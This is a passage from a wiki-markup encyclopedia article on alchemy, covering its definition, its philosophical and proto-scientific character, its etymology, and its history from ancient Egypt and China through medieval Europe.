'''Alchemy''' is an early [[protoscience|protoscientific]] and [[philosophy|philosophical]] discipline combining elements of [[chemistry]], [[metallurgy]], [[physics]], [[medicine]], [[astrology]], [[semiotics]], [[mysticism]], [[spiritualism]], and [[art]]. Alchemy has been practiced in ancient [[Ancient Egypt|Egypt]], [[India]], and [[China]], in [[Classical Antiquity|Classical]] [[Greece]] and [[Rome]], in the [[Caliphate|Islamic empire]], and then in [[Europe]] up to the 19th century &amp;mdash; in a complex network of schools and philosophical systems spanning at least 2500 years.

Western alchemy has always been closely connected with [[Hermeticism]], a philosophical and spiritual system that traces its roots to [[Hermes Trismegistus]], a [[syncretism|syncretic]] Egyptian-Greek deity and legendary alchemist. These two disciplines influenced the birth of [[Rosicrucianism]], an important esoteric movement of the 17th century. In the 19th century, as mainstream alchemy evolved into modern chemistry, its mystic and Hermetic aspects became the focus of a modern [[spiritual alchemy]], where material manipulations are viewed as mere symbols of spiritual transformations.  

The alchemists did not follow what is now known as the [[scientific method]], and much of the &quot;knowledge&quot; they produced was later found to be banal, limited, wrong, or meaningless. Today, the discipline is of interest mainly to [[history of science|historians of science]] and [[history of philosophy|philosophy]], and for its mystic, [[esoterism|esoteric]], and artistic aspects.  Nevertheless, alchemy was one of the main precursors of modern [[science]]s, and we owe to the ancient alchemists the discovery of many substances and processes that are the mainstay of modern chemical and metallurgical industries.  

==Overview==
[[Image:William Fettes Douglas - The Alchemist.jpg|thumb|right|250px|The alchemist - by Sir [[William Fettes Douglas]].]]

=== Alchemy as a proto-science ===
The common perception of alchemists is that they were [[pseudoscience|pseudo-scientists]], [[crackpot]]s and [[charlatans]], who attempted to turn [[lead]] into [[gold]], believed that the universe was composed of the [[classical element|four elements]] of earth, air, fire, and water, and spent most of their time concocting miraculous [[medication|remedies]], [[poison]]s, and [[magic (paranormal)|magic]] [[potion]]s. 

This picture is rather unfair.  Although many alchemists were indeed crackpots and charlatans, many were well-meaning and intelligent scholars, who were simply struggling to make sense of a subject which, as we now know, was far beyond the reach of their tools.  These people were basically &quot;proto-scientists&quot;, who attempted to explore and investigate the nature of chemical substances and processes. They had to rely on unsystematic experimentation, traditional know-how, [[rule of thumb|rules of thumb]], &amp;mdash; and plenty of speculative thought to fill in the wide gaps in existing knowledge. 

Given these conditions, the mystic character of alchemy is quite understandable: to the early alchemist, chemical transformations could only seem like magical phenomena governed by incomprehensible laws, whose potential and limitations he had no way of knowing. Having discovered that a specific procedure could turn an earth-like ore into glistening metal, it was only natural to speculate that some different procedure could turn a metal into another.

At the same time, it was clear to the alchemists that &quot;something&quot; was generally being conserved in chemical processes, even in the most dramatic changes of physical state and appearance; i.e. that substances contained some &quot;principles&quot; that could be hidden under many outer forms, and revealed by proper manipulation.  Throughout the history of the discipline, alchemists struggled very hard to understand the nature of these principles, and find some order and sense in the results of their chemical experiments &amp;mdash; which were often undermined by impure or poorly characterized reagents, the lack of quantitative measurements, and confusing and inconsistent nomenclature.

In spite of those difficulties, and of many false turns and loops, the alchemists managed to make steady progress in the understanding of the natural world. To them we owe the discovery of many important substances and chemical processes, which paved the way for the modern science of chemistry, and are still the mainstay of  today's chemical and metallurgical industries.

=== Alchemy as a philosophical and spiritual discipline ===
The best known goals of the [[alchemist]]s were the [[transmutation]] of common metals into [[gold]] or [[silver]], and the creation of a &quot;[[universal panacea|panacea]]&quot;, a remedy that supposedly would cure all diseases and prolong life indefinitely. Starting with the Middle Ages, European alchemists invested much effort on the search for the  &quot;[[philosopher's stone]]&quot;, a mythical substance that was believed to be an essential ingredient for either or both of those goals. Alchemists enjoyed prestige and support through the centuries, though not for their pursuit of those unattainable goals, nor the mystic and philosophical speculation that dominates their literature. Rather it was for their mundane contributions to the &quot;chemical&quot; industries of the day &amp;mdash; ore testing and refining, metalworking, production of ink, dyes, paints, and cosmetics, leather tanning, ceramics and glass manufacture, preparation of extracts and liquors, and so on. (It seems that the preparation of ''[[aqua vitae]]'', the &quot;water of life&quot;, was a fairly popular &quot;experiment&quot; among European alchemists.) 

On the other hand, alchemists never had the intellectual tools nor the motivation to separate the physical (chemical) aspects of their craft from the metaphysical interpretations. Indeed, from antiquity until well into the [[Modern Age]], a physics devoid of metaphysical insight would have been as unsatisfying as a metaphysics devoid of physical manifestation. For one thing, the lack of common words for chemical concepts and processes, as well as the need for secrecy, led alchemists to borrow the terms and symbols of [[Bible|biblical]] and [[Paganism|pagan]] [[mythology]], [[astrology]], [[kabbalah]], and other mystic and [[esoterism|esoteric]] fields; so that even the plainest chemical recipe ended up reading like an abstruse magic incantation.  Moreover, alchemists sought in those fields the theoretical frameworks into which they could fit their growing collection of disjointed experimental facts.

Starting with the middle ages, some alchemists increasingly came to view these metaphysical aspects as the true foundation of alchemy; and chemical substances, physical states, and material processes as mere metaphors for spiritual entities, states and transformations. Thus, both the transmutation of common metals into gold and the universal panacea symbolized evolution from an imperfect, diseased, corruptible and ephemeral state towards a perfect, healthy, incorruptible and everlasting state; and the philosopher's stone then represented some mystic key that would make this evolution possible. Applied to the alchemist himself, the twin goal symbolized his evolution from ignorance to enlightenment, and the stone represented some hidden spiritual truth or power that would lead to that goal. In texts that are written according to this view, the cryptic [[alchemical symbol]]s, diagrams, and textual imagery of late alchemical works typically contain multiple layers of meanings, allegories, and references to other equally cryptic works; and must be laborously &quot;decoded&quot; in order to discover their true meaning.

Some humanistic scholars now see these spiritual and metaphysical allegories as the truest and most valuable aspect of alchemy, and even claim that the development of chemistry out of alchemy was a &quot;corruption&quot; of the original Hermetic tradition. This is the view espoused by contemporary practitioners of [[spiritual alchemy]]. Most scientists, on the other hand, tend to take quite the opposite view: to them, the path from the material side of alchemy to modern chemistry was the &quot;straight road&quot; in the evolution of the discipline, while the  metaphysically oriented brand of alchemy was a &quot;wrong turn&quot; that led to nowhere. In either view, however, the naïve interpretations of some practitoners or the fraudulent hopes fostered by others should not diminish the contribution of the more sincere alchemists.

===Alchemy and astrology===
Since its earliest times, alchemy has been closely connected to [[astrology]] &amp;mdash; which, in Islam and Europe, generally meant the traditional [[Babylon]]ian-Greek school of astrology. Alchemical systems often postulated that each of the seven [[planet]]s known to the ancients &quot;[[astrological sign|ruled]]&quot; or was associated with a certain [[metal]]. See the separate article on [[astrology and alchemy]] for further details.

===Alchemy in the age of science===
Up to the 18th century, alchemy was actually considered serious science in Europe; for instance, [[Isaac Newton]] devoted considerably more of his time and writing to the study of alchemy than he did to either optics or physics, for which he is famous, (see [[Isaac Newton's occult studies]]). Other eminent alchemists of the Western world are [[Roger Bacon]], Saint [[Thomas Aquinas]], [[Tycho Brahe]], [[Thomas Browne]], and [[Parmigianino]]. The decline of alchemy began in the 18th century with the birth of modern chemistry, which provided a more precise and reliable framework for matter transmutations and medicine, within a new grand design of the universe based on rational materialism.  

In the first half of the nineteenth century, one established chemist, Baron [[Carl Reichenbach]], researched on concepts similar to the old alchemy, such as the [[Odic force]], but his research did not enter the mainstream of scientific discussion.

Matter transmutation, the old goal of alchemy, enjoyed a moment in the sun in the 20th century when physicists were able to convert lead atoms into gold atoms via a [[nuclear reaction]]. However, the new gold atoms, being unstable [[isotope]]s, lasted for under five seconds before they broke apart.  More recently, reports of table-top element transmutation — by means of [[electrolysis]] or [[sonic cavitation]] — were the pivot of the [[cold fusion]] controversy of 1989. None of those claims have yet been reliably duplicated.

Alchemical symbolism has been occasionally used in the 20th century by [[psychology|psychologists]] and philosophers. [[Carl Jung]] reexamined alchemical symbolism and theory and began to show the inner meaning of alchemical work as a [[spirituality|spiritual]] path. Alchemical philosophy, symbols and methods have enjoyed something of a renaissance in [[post-modernism|post-modern]] contexts, such as the [[New Age]] movement. Even some physicists have played with alchemical ideas in books such as ''[[The Tao of Physics]]'' and ''[[The Dancing Wu Li Masters]]''.

===Alchemy as a subject of historical research ===
The history of alchemy has become a vigorous academic field. As the obscure&amp;mdash;''hermetic'', of course&amp;mdash;language of the alchemists is gradually being &quot;deciphered&quot;, historians are becoming more  aware of the intellectual connections between that discipline and other facets of Western cultural history, such as the sociology and psychology of the intellectual communities, [[kabbala|kabbalism]], [[spiritualism]], [[Rosicrucianism]], and other mystic movements, [[cryptography]], [[witchcraft]]&amp;mdash;and, of course, the evolution of [[science]] and [[philosophy]].

==Etymology==
{{Wiktionarypar|alchemy}}
The word ''alchemy'' comes from the [[Arabic language|Arabic]] ''al-k&amp;#299;miya&amp;#704;'' or ''al-kh&amp;#299;miya&amp;#704;'' (&amp;#1575;&amp;#1604;&amp;#1603;&amp;#1610;&amp;#1605;&amp;#1610;&amp;#1575;&amp;#1569; or &amp;#1575;&amp;#1604;&amp;#1582;&amp;#1610;&amp;#1605;&amp;#1610;&amp;#1575;&amp;#1569;), which might be formed from the article ''al-'' and the [[Greek language|Greek]] word ''chumeia''  (&amp;chi;η&amp;mu;&amp;epsilon;&amp;#943;&amp;alpha;) meaning &quot;cast together&quot;, &quot;pour together&quot;, &quot;weld&quot;, &quot;alloy&quot;, etc. (from ''khumatos'', &quot;that which is poured out, an ingot&quot;, or from Persian ''Kimia'' meaning &quot;gold.&quot; A decree of [[Diocletian]], written about 300 CE in Greek, speaks against &quot;the ancient writings of the Egyptians, which treat of the ''kh&amp;#275;mia'' [transmutation] of gold and silver&quot;. 

It has been suggested that the Arabic word ''al-k&amp;#299;miya&amp;#704;'' actually means &quot;the Egyptian [science]&quot;, borrowing from the [[Coptic language|Coptic]] word for &quot;Egypt&quot;, ''k&amp;#275;me'' (or its equivalent in the Mediaeval [[Bohairic]] dialect of Coptic, ''kh&amp;#275;me''). The Coptic word derives from [[Demotic Egyptian|Demotic]] ''km&amp;#7881;'', itself from ancient [[Egyptian language|Egyptian]] ''kmt''. The ancient Egyptian word referred to both the country and the colour &quot;black&quot; (Egypt was the &quot;Black Land&quot;, by contrast with the &quot;Red Land&quot;, the surrounding desert); so this etymology could also explain the nickname &quot;Egyptian black arts&quot;. However, this theory may be just an example of [[folk etymology]].

==History==
[[Image:Alchemy-Digby-RareSecrets.png|thumb|right|300px|Extract and symbol key from a 17th century book on alchemy. The symbols used have a one-to-one correspondence with symbols used in [[astrology]] at the time.]]
Alchemy encompasses several philosophical traditions spanning some four millennia and three continents.  These traditions' general penchant for cryptic and symbolic language makes it hard to trace their mutual influences and &quot;genetic&quot; relationships. 

One can distinguish at least two major strands, which appear to be largely independent, at least in their earlier stages: [[Chinese alchemy]], centered in [[China]] and its zone of cultural influence; and [[Western alchemy]], whose center has shifted over the millennia between [[Egypt]], [[Greece]] and [[Rome]], the [[Islam]]ic world, and finally back to [[Europe]]. Chinese alchemy was closely connected to [[Taoism]], whereas Western alchemy developed its own philosophical system, with only superficial connections to the major Western religions.  It is still an open question whether these two strands share a common origin, or to what extent they influenced each other.

===Alchemy in Ancient Egypt===
The origin of western alchemy may generally be traced to [[Ancient Egypt|ancient (pharaonic) Egypt]].  [[Metallurgy]] and [[mysticism]] were inexorably tied together in the ancient world, as the transformation of drab ore into shining metal must have seemed to be an act of magic governed by mysterious rules. It is claimed therefore that Alchemy in ancient Egypt was the domain of the priestly class.  

Egyptian alchemy is known mostly through the writings of ancient (Hellenic) [[Greece|Greek]] philosophers, which in turn have often survived only in Islamic translations. Practically no original Egyptian documents on alchemy have survived. Those writings, if they existed, were likely lost when the [[Roman Emperor|emperor]] [[Diocletian]] ordered the burning of alchemical books after suppressing a revolt in Alexandria (292), which had been a center of Egyptian alchemy.

Nevertheless [[archaeological]] expeditions in recent times have unearthed evidence of chemical analysis during the [[Naqada]] periods. For example, a [[copper]] tool dating to the [[Naqada]] era bears evidence of having been used in such a way (reference: artifact 5437 on display at [http://www.digitalegypt.ucl.ac.uk/naqada/tombs/finds7.html]). Also, the process of [[tanning]] [[animal]] [[Rawhide|skins]] was already known in [[Predynastic Egypt]] as early as the [[6th millennium BC]] [http://www.touregypt.net/ebph5.htm]; although it possibly was discovered haphazardly.

Other evidence indicates early alchemists in [[Ancient Egypt|ancient Egypt]] had invented [[Mortar (masonry)|mortar]] by [[4000 BC]] and [[glass]] by [[1500 BC]]. The chemical reaction involved in the production of [[Calcium Oxide]] is one of the oldest known (references: [[Calcium Oxide]], [[limekiln]]):

:CaCO&lt;sub&gt;3&lt;/sub&gt; + heat → CaO + CO&lt;sub&gt;2&lt;/sub&gt;.

[[Ancient Egypt]] additionally produced [[cosmetics]], [[cement]], [[faience]] and also [[Pitch (resin)|pitch]] for [[shipbuilding]]. [[Papyrus]] had also been invented by [[3000 BC]].

Legend has it that the founder of Egyptian alchemy was the [[deity|god]] [[Thoth]], called Hermes-Thoth or Thrice-Great Hermes (''[[Hermes Trismegistus]]'') by the Greek. According to legend, he wrote what were called the forty-two Books of Knowledge, covering all fields of knowledge—including alchemy. Hermes's symbol was the [[caduceus]] or serpent-staff, which became one of many of alchemy's principal symbols. The &quot;[[Emerald Tablet]]&quot; or ''[[Hermetica]]'' of Thrice-Great Hermes, which is known only through Greek and [[Arabic language|Arabic]] translations, is generally understood to form the basis for Western alchemical philosophy and practice, called the [[hermeticism|hermetic philosophy]] by its early practitioners.

The first point of the &quot;Emerald Tablet&quot; tells the purpose of hermetical science: &quot;in truth certainly and without doubt, whatever is below is like that which is above, and whatever is above is like that which is below, to accomplish the miracles of one thing.&quot; {{ref_harvard|Burkhardt|Burckhardt, p. 196-7|a}} This is the [[macrocosm]]-[[microcosm]] belief central to the hermetic philosophy.  In other words, the human body (the microcosm) is affected by the exterior world (the macrocosm), which includes the heavens through [[astrology]], and the earth through the [[classical element|element]]s. {{ref_harvard|Burkhardt|Burckhardt,p. 34-42|b}}

It has been speculated that a riddle from the Emerald Tablet—&quot;it was carried in the womb by the wind&quot;—refers to the distillation of oxygen from [[sodium nitrate|saltpeter]]—a process that was unknown in Europe until its (re)discovery by Sendivogius in the 17th century.

In the 4th century BC, the Greek-speaking [[Macedon|Macedonia]]ns conquered Egypt and founded the city of Alexandria in 332.  This brought them into contact with Egyptian ideas. See [[#Alchemy in the Greek world|Alchemy in the Greek World]] below.

===Chinese alchemy===
Whereas Western alchemy eventually centered on the transmutation of base metals into noble ones, Chinese alchemy had a more obvious connection to medicine.  The [[philosopher's stone]] of European alchemists can be compared to the [[Elixir of life|Grand Elixir of Immortality]] sought by Chinese alchemists. However, in the hermetic view, these two goals were not unconnected, and the philosopher's stone was often equated with the [[universal panacea]]; therefore, the two traditions may have had more in common than it initially appears.

[[Black powder]] may have been an important invention of Chinese alchemists. Described in 9th century texts and used in [[fireworks]] by the 10th Century, it was used in [[cannon]]s by 1290. From China, the use of gunpowder spread to [[Japan]], the [[Mongol]]s, the Arab world and Europe. Gunpowder was used by the Mongols against the Hungarians in 1241, and in Europe starting with the 14th century.

Black powder was most likely invented in the middle east before it found its way
to China. Saltpeter, the critical oxidising component, was found naturally in India and
along the Salt trade routes in the Middle East.

Chinese alchemy was closely connected to Taoist forms of [[traditional Chinese medicine|medicine]], such as [[Acupuncture]] and [[Moxibustion]], and to [[martial arts]] such as [[Tai Chi Chuan]] and [[Kung Fu]] (although some Tai Chi schools believe that their art derives from the Hygienic or Philosophical branches of Taoism, not the Alchemical).

===Indian alchemy===
Little is known in the West about the character and history of [[India]]n alchemy. An 11th century [[Iran|Persia]]n alchemist named [[al-Biruni]] reported that they &quot;have a science similar to alchemy which is quite peculiar to them, which is called [[Rasavātam]]. It means the art which is restricted to certain operations, drugs, compounds, and medicines, most of which are taken from plants. Its principles restored the health of those who were ill beyond hope and gave back youth to fading old age.&quot;  The best example of a text based on this science is ''The Vaishashik Darshana'' of [[Kanad]]a (fl. 600 BC), who described an atomic theory over a century before Democritus.

The texts of [[Ayurvedic]] Medicine and Science have aspects related to alchemy, such having cures for all known diseases. The similarities in [[Ayurveda]] and alchemy are that both had methods used to treat people by putting oils over them.

Some people have also noted certain similarities between the [[metaphysics]] of the [[Samkhya]] philosophical tradition of Hinduism and the metaphysics of alchemy. Whether there is any direct connection between the two systems is an open question.

The Rasavadam was understood by very few people at the time. Two famous examples were Nagarjunacharya and Nityanadhiya. Nagarjunacharya was a buddhist monk who, in ancient times, ran the great university of Nagarjuna Sagar. His famous book, Rasaratanakaram, is a famous example of early Indian medicine. 
In traditional Indian medicinal terminology 'rasa' translates as 'mercury' and Nagarjunacharya was said to have developed a method to convert the mercury into gold. Much of his original writings are lost to us, but his teachings still have strong influence on traditional Indian medicine (Ayureveda) to this day.

===Alchemy in the Greek world===
The Greek city of [[Alexandria]] in Egypt was a center of Greek alchemical knowledge, and retained its preeminence through most of the Greek and Roman periods. The Greeks appropriated the hermetical beliefs of the Egyptians and melded with them the philosophies of [[Pythagoras|Pythagoreanism]], [[ionianism]], and [[gnosticism]]. Pythagorean philosophy is, essentially, the belief that numbers rule the universe, originating from the observations of sound, stars, and geometric shapes like triangles, or anything from which a [[ratio]] could be derived. [[Ionia]]n thought was based on the belief that the universe could be explained through concentration on [[phenomenon|natural phenomena]]; this philosophy is believed to have originated with [[Thales]] and his pupil [[Anaximander]], and later developed by [[Plato]] and [[Aristotle]], whose works came to be an integral part of alchemy.  According to this belief, the universe can be described by a few unified [[law (principle)|natural laws]] that can be determined only through careful, thorough, and exacting philosophical explorations. The third component introduced to hermetical philosophy by the Greeks was [[gnosticism]], a belief prevalent in the Christian and early post-Christian [[Roman empire]], that the world is imperfect because it was created in a flawed manner, and that learning about the nature of spiritual matter would lead to salvation.  They further believed that [[god (monotheism)|God]] did not &quot;create&quot; the universe in the classic sense, but that the universe was created &quot;from&quot; him, but was corrupted in the process (rather than becoming corrupted by the transgressions of Adam and Eve, i.e. [[original sin]]).  According to Gnostic belief, by worshipping the cosmos, nature, or the creatures of the world, one worships the True God.  Gnostics do not seek salvation from sin, but instead seek to escape ignorance, believing that sin is merely a consequence of ignorance. Platonic and neo-Platonic theories about universals and the omnipotence of God were also absorbed.

One very important concept introduced at this time, originated by [[Empedocles]] and developed by Aristotle, was that all things in the universe were formed from only four elements: ''earth'', ''air'', ''water'', and ''fire''. According to Aristotle, each element had a sphere to which it belonged and to which it would return if left undisturbed. {{ref_harvard|Lindsay|Lindsay, p. 16|a}}  

The four elements of the Greek were mostly qualitative aspects of matter, not quantitative, as our modern elements are. &quot;...True alchemy never regarded earth, air, water, and fire as corporeal or chemical substances in the present-day sense of the word. The four elements are simply the primary, and most general, qualities by means of which the amorphous and purely quantitative substance of all bodies first reveals itself in differentiated form.&quot; {{ref_harvard|Hitchcock|Hitchcock, p. 66|a}} Later alchemists (if Plato and Aristotle can be called alchemists) extensively developed the mystical aspects of this concept.

===Alchemy in the Roman Empire===
The [[Ancient Rome|Romans]] adopted Greek alchemy and metaphysics, just as they adopted much of Greek knowledge and philosophy. By the end of the [[Roman empire]] the Greek alchemical philosophy had been joined to the philosophies of the Egyptians to create the cult of Hermeticism. {{ref_harvard|Lindsay|Lindsay|b}}

However, the development of [[Christianity]] in the Empire brought a contrary line of thinking, stemming from [[Augustine of Hippo|Augustine]] (354-430 AD), an early Christian philosopher who wrote of his beliefs shortly before the [[fall of the Roman Empire]]. In essence, he felt that [[reason]] and [[faith]] could be used to understand God, but [[experimental philosophy]] was evil: &quot;There is also present in the soul, by means of these same bodily sense, a kind of empty longing and curiosity which aims not at taking pleasure in the flesh but at acquiring experience through the flesh, and this empty curiosity he is dignified by the names of learning and science.&quot; {{ref_harvard|Augustine|Augustine, p. 245|a}}

Augustinian ideas were decidedly anti-experimental, yet when Aristotelian experimental techniques were made available to the West they were not shunned.  Still, Augustinian thought was well ingrained in [[medieval society]] and was used to show alchemy as being un-Godly.

Much of the Roman knowledge of Alchemy, like that of the Greeks and Egyptians, is now lost. In Alexandria, the centre of alchemical studies in the Roman Empire, the art was mainly oral and in the interests of secrecy little was committed to paper. (Whence the use of &quot;hermetic&quot; to mean &quot;secretive&quot;.) {{ref_harvard|Lindsay|Lindsay, p. 155|c}} It is possible that some writing was done in Alexandria, and that it was subsequently lost or destroyed in fires and the turbulent periods that followed.

===Alchemy in the Islamic world===
After the fall of the Roman Empire, the focus of alchemical development moved to the Middle East. Much more is known about [[Islam]]ic alchemy because it was better documented: indeed, most of the earlier writings that have come down through the years were preserved as Islamic translations. {{ref_harvard|Burkhardt|Burckhardt p. 46|c}}

The Islamic world was a melting pot for alchemy. [[Plato]]nic and [[Aristotle|Aristotelian]] thought, which had already been somewhat appropriated into hermetical science, continued to be assimilated.  Islamic alchemists such as [[Abu Bakr Mohammad Ibn Zakariya al-Razi|al-Razi]] (Latin Rasis or Rhazes) contributed key chemical discoveries of their own, such as the technique of [[distillation]] (the words ''[[alembic]]'' and ''[[alcohol]]'' are of [[Arabic language|Arabic]] origin), the [[hydrochloric acid|muriatic]], [[sulfuric acid|sulfuric]], and [[nitric acid|nitric]] acids, [[sodium carbonate|soda]], [[potash]], and more. (From the Arabic names of the last two substances, ''al-natrun'' and ''al-qalīy'', Latinized into ''Natrium'' and ''Kalium'', come the modern symbols for [[sodium]] and [[potassium]].) The discovery that [[aqua regia]], a mixture of nitric and muriatic acids, could dissolve the noblest metal; gold, was to fuel the imagination of alchemists for the next millennium.

Islamic philosophers also made great contributions to alchemical hermeticism.  
The most influential author in this regard was arguably [[Abu Musa Jabir Ibn Hayyan|Jabir Ibn Hayyan]] (Arabic &amp;#1580;&amp;#1575;&amp;#1576;&amp;#1585; &amp;#1573;&amp;#1576;&amp;#1606; &amp;#1581;&amp;#1610;&amp;#1575;&amp;#1606;, Latin Geberus; usually rendered in English as Geber). Jabir's ultimate goal was [[takwin]], the artificial creation of life in the alchemical laboratory, up to and including human life. He analyzed each Aristotelian element in terms of four basic qualities of ''hotness'', ''coldness'', ''dryness'', and ''moistness''. {{ref_harvard|Burkhardt|Burkhardt, p. 29|d}}  According to Geber, in each metal two of these qualities were interior and two were exterior. For example, lead was externally cold and dry, while gold was hot and moist.  Thus, Jabir theorized, by rearranging the qualities of one metal, a different metal would result. {{ref_harvard|Burkhardt|Burckhardt, p. 29|e}} By this reasoning, the search for the [[philosopher's stone]] was introduced to Western alchemy. Jabir developed an elaborate [[numerology]] whereby the root letters of a substance's name in Arabic, when treated with various transformations, held correspondences to the element's physical properties. 

It is now commonly accepted that Chinese alchemy influenced Arabic alchemists {{ref_harvard|Edwardes|Edwardes pp. 33-59|a}}{{ref_harvard|Burkhardt|Burckhardt, p. 10-22|f}}, although the extent of that influence is still a matter of debate. Likewise, [[Hinduism|Hindu]] learning was assimilated into Islamic alchemy, but again the extent and effects of this are not well known.

===Alchemy in Medieval Europe===
[[Image:JosephWright-Alchemist-1.jpg|thumb|250px|right|''The Alchemist in Search of the Philosophers Stone''. By [[Joseph Wright of Derby]], [[1771]].]]
Because of its strong connections to the Greek and Roman cultures, alchemy was rather easily accepted into Christian philosophy, and Medieval European alchemists extensively absorbed Islamic alchemical knowledge.  [[Gerbert of Aurillac]], who was later to become [[Pope Silvester II]], (d. 1003) was among the first to bring Islamic science to Europe from [[Spain]].  Later men such as [[Adelard of Bath]], who lived in the 12th century, brought additional learning.  But until the 13th century the moves were mainly assimilative. {{ref_harvard|Hollister|Hollister p. 124, 294|a}}

In this period there appeared some deviations from the [[Augustine of Hippo|Augustinian]] principles of earlier Christian thinkers. [[Anselm of Canterbury|Saint Anselm]] (1033–1109) was a Benedictine who believed faith must precede rationalism, as Augustine and most theologians prior to Anselm had believed, but Anselm put forth the opinion that faith and rationalism were compatible and encouraged rationalism in a Christian context.  His views set the stage for the philosophical explosion to occur. [[Peter Abelard]] followed Anselm's work, laying the foundation for acceptance of Aristotelian thought before the first works of Aristotle reached the West.  His major influence on alchemy was his belief that Platonic universals did not have a separate existence outside of man's [[consciousness]]. Abelard also systematized the analysis of philosophical contradictions. {{ref_harvard|Hollister|Hollister, p. 287-8|b}}

[[Robert Grosseteste]] (1170–1253) was a pioneer of the scientific theory that would later be used and refined by the alchemists.  He took
Abelard's methods of analysis and added the use of observations, experimentation, and conclusions in making scientific evaluations. Grosseteste also did much work to bridge Platonic and Aristotelian thinking. {{ref_harvard|Hollister|Hollister pp. 294-5|c}}

[[Albertus Magnus]] (1193–1280) and [[Thomas Aquinas]] (1225–1274) were both [[Dominican Order|Dominican]]s who studied Aristotle and worked at reconciling the differences between philosophy and Christianity.  Aquinas also did a great deal of work in developing the [[scientific method]].  He even went as far as claiming that universals could be discovered only through [[logical reasoning]], and, since [[reason]] could not run in opposition to God, reason must be compatible with [[theology]]. {{ref_harvard|Hollister|Hollister p. 290-4, 355|d}}. This ran contrary to the commonly held Platonic belief that universals were found through [[divine illumination]] alone. Magnus and Aquinas were among the first to take up the examination of alchemical theory, and could be considered to be alchemists themselves, except that these two did little in the way of [[experimentation]]. 

The first true alchemist in Medieval Europe was [[Roger Bacon]].  His work did as much for alchemy as [[Robert Boyle]]'s was to do for [[chemistry]] and [[Galileo Galilei|Galileo]]'s for [[astronomy]] and [[physics]]. Bacon (1214–1294) was an Oxford [[Franciscan]] who explored [[optics]] and [[linguistics|languages]] in addition to alchemy. The Franciscan ideals of taking on the world rather than rejecting the world led to his conviction that experimentation was more important than reasoning: &quot;Of the three ways in which men think that they acquire [[knowledge]] of things: authority, [[reason|reasoning]], and [[experience]]; only the last is effective and able to bring peace to the intellect.&quot; (Bacon p. 367) &quot;[[Experimental Science]] controls the conclusions of all other sciences. It reveals truths which reasoning from [[law (principle)|general principles]] would never have discovered.&quot; {{ref_harvard|Hollister|Hollister p. 294-5|e}}  Roger Bacon has also been attributed with originating the search for the philosopher's stone and the elixir of life: &quot;That medicine which will remove all impurities and corruptibilities from the lesser metals will also, in the opinion of the wise, take off so much of the corruptibility of the body that human life may be prolonged for many centuries.&quot; The idea of [[immortality]] was replaced with the notion of [[longevity|long life]]; after all, man's time on Earth was simply to wait and prepare for immortality in the world of God. Immortality on Earth did not mesh with Christian theology.  {{ref_harvard|Edwardes|Edwardes p. 37-8|b}}

Bacon was not the only alchemist of the high middle ages, but he was the most significant. His works were used by countless alchemists of the fifteenth through nineteenth centuries. Other alchemists of Bacon's time shared several traits. First, and most obviously, nearly all were members of the clergy.  This was simply because few people outside the parochial schools had the education to examine the Arabic-derived works.  Also, alchemy at this time was sanctioned by the church as a good method of exploring and developing theology. Alchemy was interesting to the wide variety of churchmen because it offered a rationalistic view of the universe when men were just beginning to learn about rationalism. {{ref_harvard|Edwardes|Edwardes p. 24-7|c}}

So by the end of the thirteenth century, alchemy had developed into a fairly structured system of belief. Adepts believed in the macrocosm-microcosm theories of Hermes, that is to say, they believed that processes that affect minerals and other substances could have an effect on the human body (e.g., if one could learn the secret of purifying gold, one could use the technique to purify the [[soul|human soul]].) They believed in the four elements and the four qualities as described above, and they had a strong tradition of cloaking their written ideas in a labyrinth of coded [[jargon]] set with traps to mislead the uninitiated. Finally, the alchemists practiced their art: they actively experimented with chemicals and made [[observation]]s and [[theory|theories]] about how the universe operated. Their entire philosophy revolved around their belief that man's soul was divided within himself after the fall of Adam.  By purifying the two parts of man's soul, man could be reunited with God. {{ref_harvard|Burkhardt|Burckhardt p. 149|g}}

In the fourteenth century, these views underwent a major change. [[William of Ockham]], an [[Oxford]] Franciscan who died in 1349, attacked the [[Thomist]] view of compatibility between faith and reason. His view, widely accepted today, was that God must be accepted on faith alone; He could not be limited by human reason. Of course this view was not incorrect if one accepted the postulate of a limitless God versus limited human reasoning capability, but it virtually erased alchemy from practice in the fourteenth and fifteenth centuries.  {{ref_harvard|Hollister|Hollister p. 335|f}} [[Pope John XXII]] in the early 1300s issued an edict against alchemy, which effectively removed all church personnel from the practice of the Art. {{ref_harvard|Edwardes|Edwardes, p.49|d}} The climate changes, [[Black Death|Black plague]], and increase in [[war|warfare]] and [[famine]] that characterized this century no doubt also served to hamper philosophical pursuits in general.

[[Image:flamel-figures.png|thumb|250px|[[Nicholas Flamel]] had these mysterious alchemical symbols carved on his [[tomb]] in the Church of the [[Holy Innocents]] in Paris.]]
Alchemy was kept alive by men such as [[Nicolas Flamel]], who was noteworthy only because he was one of the few alchemists writing in those troubled times. Flamel lived from 1330 to 1417 and would serve as the [[archetype]] for the next phase of alchemy. He was not a religious scholar as were many of his predecessors, and his entire interest in the subject revolved around the pursuit of the philosopher's stone, which he is reputed to have found; his work spends a great deal of time describing the processes and reactions, but never actually gives the formula for carrying out the transmutations. Most of his work was aimed at gathering alchemical knowledge that had existed before him, especially as regarded the philosophers' stone. {{ref_harvard|Burkhardt|Burckhardt pp.170-181|h}}

Through the [[high middle ages]] (1300-1500) alchemists were much like Flamel:  they concentrated on looking for the philosophers' stone and the elixir of youth, now believed to be separate things.  Their cryptic allusions and [[symbolism]] led to wide variations in interpretation of the art. For example, many alchemists during this period interpreted the purification of the soul to mean the [[transmutation]] of lead into gold (in which they believed elemental [[mercury (element)|mercury]], or 'quicksilver', played a crucial role). These men were viewed as [[magic (paranormal)|magicians and sorcerers]] by many, and were often persecuted for their practices. {{ref_harvard|Edwardes|Edwardes pp. 50-75|e}}{{ref_harvard|Norton|Norton pp lxiii-lxvii|a}}

One of these men who emerged at the beginning of the sixteenth century was named [[Heinrich Cornelius Agrippa]]. This alchemist believed himself to be a wizard and actually thought himself capable of summoning [[spiritual being|spirit]]s.  His influence was negligible, but like Flamel, he produced writings which were referred to by alchemists of later years. Again like Flamel, he did much to change alchemy from a mystical philosophy to an [[occult]]ist magic. He did keep alive the philosophies of the earlier alchemists, including experimental science, numerology, etc., but he added magic theory, which reinforced the idea of alchemy as an occultist belief.  In spite of all this, Agrippa still considered himself a Christian, though his views often came into conflict with the church. {{ref_harvard|Edwardes|Edwardes p.56-9|f}}{{ref_harvard|Wilson|Wilson p.23-9|a}}

===Alchemy in the Modern Age and Renaissance===
